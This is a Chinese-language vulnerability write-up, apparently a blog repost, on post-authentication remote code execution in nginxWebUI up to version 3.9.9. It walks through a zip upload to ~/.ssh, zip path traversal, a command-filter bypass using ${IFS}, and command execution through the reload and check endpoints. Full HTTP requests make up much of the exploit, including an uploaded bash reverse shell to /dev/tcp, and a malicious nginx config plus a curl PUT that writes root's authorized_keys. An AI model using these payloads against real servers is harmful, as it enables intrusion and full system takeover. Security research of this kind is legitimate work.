nginxwebui<=3.9.9后台rce

​ 首发于https://xz.aliyun.com/t/14227

前言

​ 半年前,审计过一次这套代码,那时候想着后台有命令执行的功能点,就没关注rce,审计了一些别的水洞。这次hookdd没事,说审计了一个rce,说一起看看,所以这次就只看rce,最后就有个以下几个洞。本次使用的3.9.8版本,但是刚刚更新了3.9.9,不过看描述,并没有修复一下几个点,应该都可以使用。(最新版依旧可用,nginx恶意配置看来是修不了了)

0x01 zip自解压

com.cym.controller.adminPage.MainController#upload

image-20240329094943539

功能比较简单,可以看见把tmpdir+’/‘+文件名拼接,然后保存进去,没有限制后缀,其实限制不限制都能r掉。

其中FileUtil.getTmpDir()会获取系统的临时目录,mac系统为

image-20240329095519164

image-20240329095527428

ubuntu系统的临时目录为/tmp。

对应的前端功能点

image-20240329100106111

前端这里是限制了zip上传,但是我们看后端是没有判断的,直接会把上传的文件放到临时目录。

image-20240329100312049

当我们选择好目录时,他会调用

com.cym.controller.adminPage.WwwController#addOver进行处理

image-20240329100458257

可以看到,我们能控制解压目录,以及需要解压的文件,最后调用zip进行解压。

那么其实很简单了,TmpDir()我们知道,文件名知道,我们只需要上传一个ssh密钥到.ssh目录下就可以了。

复现

先选择要上传的zip文件

image-20240329100908051

image-20240329101000205

可以看到以及上传到tmp目录,这是macos的,ubutu在**/tmp**下

image-20240528154401727

选择好ssh目录。

image-20240329101451560

对应数据包。

image-20240329101751292

最后直接调用zip解压到ssh目录

image-20240329101826366

成功解压到ssh

image-20240329102004582

最后也是使用公钥直接登录

0x02 zip目录穿越

上面那种方法,其实只能打一次,因为在zip解压的时候会在数据库查询,钥匙已经同目录穿过,会抛出异常。

image-20240329103914323

com.cym.controller.adminPage.WwwController#addOver

image-20240329104044288

image-20240329104055165

image-20240329104110206

这里可以清楚得看到,会在sql里面查询上传目录是否存在,存在就抛出异常。

这里有两种解决办法,第一种就是image-20240329104455283

传入ssh的id,使其能正常修改目录的文件内容

image-20240329104820562

id可以直接f12获得,

image-20240329105024339

填入后就可以正常穿

第二种就比较暴力

cn.hutool.core.util.ZipUtil#unzip(java.util.zip.ZipFile, java.io.File, long)

image-20240329105331535

zipentry没有对../过滤。

zip解压时是没有对zip目录穿越进行过滤的,所以可以利用zip目录穿越来传文件,dir保证是没有使用过的就行。

复现

上传zip_slip.zipimage-20240329110204537

image-20240329110244552

得到路径

image-20240329110338516

上传时显示路径重复,这时我们dir任意写一个本地存在的目录,确保数据库没有就行。

image-20240329110739896

最后成功上传。

image-20240329110828441

image-20240329110836847

数据库里面的状态。

0x03 runcmd绕过造成命令执行

com.cym.controller.adminPage.ConfController#runCmd

image-20240329155921247

可以看到穿进来的cmd先进行过滤,在进行拼接执行。

com.cym.controller.adminPage.ConfController#isAvailableCmd

image-20240329160038310

image-20240329160044572

可以先读取nginxPath、nginxExe、nginxDir三个值,首先判断在不在case里面,不在就进入if,主要就是判断cmd和settingService.get(“nginxExe”) + “ -c “ + settingService.get(“nginxPath”) + dir是不是想等,不想等就不执行,想等就执行

com.cym.controller.adminPage.ConfController#saveCmd

image-20240329160352345

而刚好这三个值我们可自由控制。

image-20240329160433191

它会对传值进行过滤,其实看看很好绕过。linux用$(IFS)代替空格就行,win用powershell.exe(calc) 就行

复现

image-20240329161043497

先修改两个值

image-20240329161117706

成功执行

image-20240329161155744

image-20240329161204639

可以执行。

image-20240329220127636

由于有过滤,所以我们可以把reserveshell写进文件,在用bash来执行就好。

利用前面分析得,上传点自动缓存到tem目录,ubuntu为/tmp目录.。强烈建议不要用macos这傻逼每个shell环境里面var/folders/ln/sjz_zm513ng125ngw6c2b_lm0000gn都不一样。

image-20240329223018517

换ubuntu后,成功rce

image-20240329223111645

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /adminPage/conf/saveCmd HTTP/1.1
Host: 192.168.108.137:8080
Content-Length: 55
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.108.137:8080
Referer: http://192.168.108.137:8080/adminPage/conf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SOLONID=2dc9dd75ef4242f4a74bc855799539ec
Connection: close

nginxExe=bash&nginxDir=&nginxPath=$(bash${IFS}/tmp/111)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /adminPage/main/upload HTTP/1.1
Host: 192.168.108.137:8080
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygQGA2ci4A6Ii4KAG
Origin: http://192.168.108.137:8080
Referer: http://192.168.108.137:8080/adminPage/www
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SOLONID=2dc9dd75ef4242f4a74bc855799539ec
Connection: close

------WebKitFormBoundarygQGA2ci4A6Ii4KAG
Content-Disposition: form-data; name="file"; filename="111"
Content-Type: text/x-python-script

/bin/bash -i >& /dev/tcp/ip/9999 0>&1
------WebKitFormBoundarygQGA2ci4A6Ii4KAG--

0x04 reload 代码执行

com.cym.controller.adminPage.ConfController#reload

image-20240330002357857

没什么好说的,全可控,没有过滤。然后拼接,进行执行。

cn.hutool.core.util.RuntimeUtil#exec(java.lang.String…)

image-20240330002434052

最后会调用到这里,和上面不同,这里是代码执行

复现

生成java格式代码执行

image-20240330002657116

image-20240330002622189

image-20240330002803528

image-20240330002630229

成功获取shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /adminPage/conf/reload HTTP/1.1
Host: 192.168.108.137:8080
Content-Length: 131
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.108.137:8080
Referer: http://192.168.108.137:8080/adminPage/conf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SOLONID=2dc9dd75ef4242f4a74bc855799539ec
Connection: close

nginxPath=&nginxExe=cmd&nginxDir=

0x05 check 代码执行

com.cym.controller.adminPage.ConfController#check

image-20240330003342822

同理,全可控,且没过滤

最后会走到execforstr(),然后造成代码执行

image-20240330003420470

image-20240330003524958

我们只需要对nginxExe赋值就行,json保持默认,其余不填即可

复现

image-20240330002657116

生成java反弹payload

image-20240330003729310

成功rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /adminPage/conf/check HTTP/1.1
Host: 192.168.108.137:8080
Content-Length: 495
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.108.137:8080
Referer: http://192.168.108.137:8080/adminPage/conf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SOLONID=2dc9dd75ef4242f4a74bc855799539ec
Connection: close

nginxPath=&nginxExe=bash+-c+cmd

0x06 利用nginx—conf配置rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
user  root;
worker_processes 4;
pid /tmp/nginx.pid;

events {
worker_connections 768;
}

http {
server {
listen 1337;
root /;
autoindex on;

location / {
dav_methods PUT;
}
}
}

image-20240417215333266

1
curl -X PUT -T ~/Downloads/authorized_keys  http://192.168.108.137:1337/root/.ssh/authorized_keys

image-20240417215410337

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


nginxwebui<=3.9.9后台rce
https://unam4.github.io/2024/04/06/nginxwebui-3-9-9后台rce/
作者
unam4
发布于
2024年4月6日
许可协议